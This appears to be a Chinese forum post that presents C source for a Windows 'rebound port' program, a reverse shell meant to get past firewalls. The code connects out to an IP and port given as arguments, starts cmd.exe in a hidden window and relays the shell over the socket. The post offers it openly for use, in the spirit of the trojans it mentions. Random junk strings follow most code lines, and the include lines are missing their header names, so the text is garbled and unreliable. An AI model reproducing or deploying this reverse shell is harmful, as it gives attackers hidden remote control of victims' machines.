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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4.,e3  
LOX[h$  
/* ============================== x~$P.X7(~  
Rebound port in Windows NT GLwL'C'591  
By wind,2006/7 BXa1 [7Z  
===============================*/ UIL5K   
#include 8.o[K  
#include Al3Hu-Hf;`  
st{:] yTRk  
#pragma comment(lib,"wsock32.lib") DA]!ndJD  
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void OutputShell(); RT9fp(6*  
SOCKET sClient; 56G5JSB=\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; J6hWcA6 g  
MQQiQ 2  
void main(int argc,char **argv) W$EX6jTGI  
{ ' hO+b  
WSADATA stWsaData; z Rz#0  
int nRet; q .tVNKy%  
SOCKADDR_IN stSaiClient,stSaiServer; XC?H  
KAgiY4  
if(argc != 3) ZZ!d:1'7  
{ `vDg~o  
printf("Useage:\n\rRebound DestIP DestPort\n"); \tyL`& )  
return; Wfu%,=@,  
} ZA2y  
kC01s  
WSAStartup(MAKEWORD(2,2),&stWsaData); U> e@m?  
#E^%h  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pP{b!1  
e:AB!k^xp$  
stSaiClient.sin_family = AF_INET; >7vSN<w~m  
stSaiClient.sin_port = htons(0); -hQ=0h~\B.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7vNS@[8  
T(a* d7  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O_-.@uo./(  
{ OA%.>^yb@  
printf("Bind Socket Failed!\n"); k,X)PQc  
return; j+_g37$:  
} i2N*3X~  
Lg9]kpOpa  
stSaiServer.sin_family = AF_INET; K.o?g?&<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !h?N)9e  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); bp_3ETK]P  
$ n  n4  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Vn];vN  
{ VY=~cVkzS  
printf("Connect Error!"); GY@Np^>[a  
return; 9rn!U2  
} @F=ZGmq  
OutputShell(); 8}xU]N#EV  
} 2J9eeN  
S]<G|mn,  
void OutputShell() hh+GW*'~  
{ ~>>o'H6  
char szBuff[1024]; tI.(+-q  
SECURITY_ATTRIBUTES stSecurityAttributes; g|)e3q{M  
OSVERSIONINFO stOsversionInfo; (niZN_qv  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9^igzRn0  
STARTUPINFO stStartupInfo; nqgfAQsE)  
char *szShell; w V;y]'  
PROCESS_INFORMATION stProcessInformation; #xYkG5`lm  
unsigned long lBytesRead; BzTm[`(h  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); YyK9UZjI  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {:4); .  
stSecurityAttributes.lpSecurityDescriptor = 0; fkRb;aIl  
stSecurityAttributes.bInheritHandle = TRUE; <u4GIi <sm  
&bBp`h  
h=`rZC  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); lba*&j]w=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Cgq9~U !  
qpp:h_E  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :w:5;cm V  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]Y;$~qQ  
stStartupInfo.wShowWindow = SW_HIDE; -6+HA9zz@C  
stStartupInfo.hStdInput = hReadPipe; pNVao{::5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G<Lm}  
xs.[]>nQN  
GetVersionEx(&stOsversionInfo); JC>}(yQA  
1;? L:A  
switch(stOsversionInfo.dwPlatformId) 'v6Rd )E\z  
{ 6TfXz2D'J  
case 1: >f`}CLsY  
szShell = "command.com"; KgAc0pz{7H  
break; AuO%F YKY  
default: 07/5RFmJ  
szShell = "cmd.exe"; -BEPpwb<g  
break; QfcW  
} gMHH3^\VH)  
3vrQY9H>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); eRVu/TY  
pKr3(5~  
send(sClient,szMsg,77,0); JXPn <  
while(1) @ o;m!CYB  
{ >x!N@G  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (&njZdcb*  
if(lBytesRead) ;GH(A=}/Y  
{ fF-V=Zf5  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); X 8[T*L.  
send(sClient,szBuff,lBytesRead,0); @M,KA {e  
} _r^&.'q  
else 9]AKNQq m  
{ {K[+nX =#  
lBytesRead=recv(sClient,szBuff,1024,0); >vP^l {SD  
if(lBytesRead<=0) break; &1w,;45  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >"`:w  
} b[*d i{?-  
} @B&hR} 4  
F},JP'\X  
return; RKj A`cJ  
}
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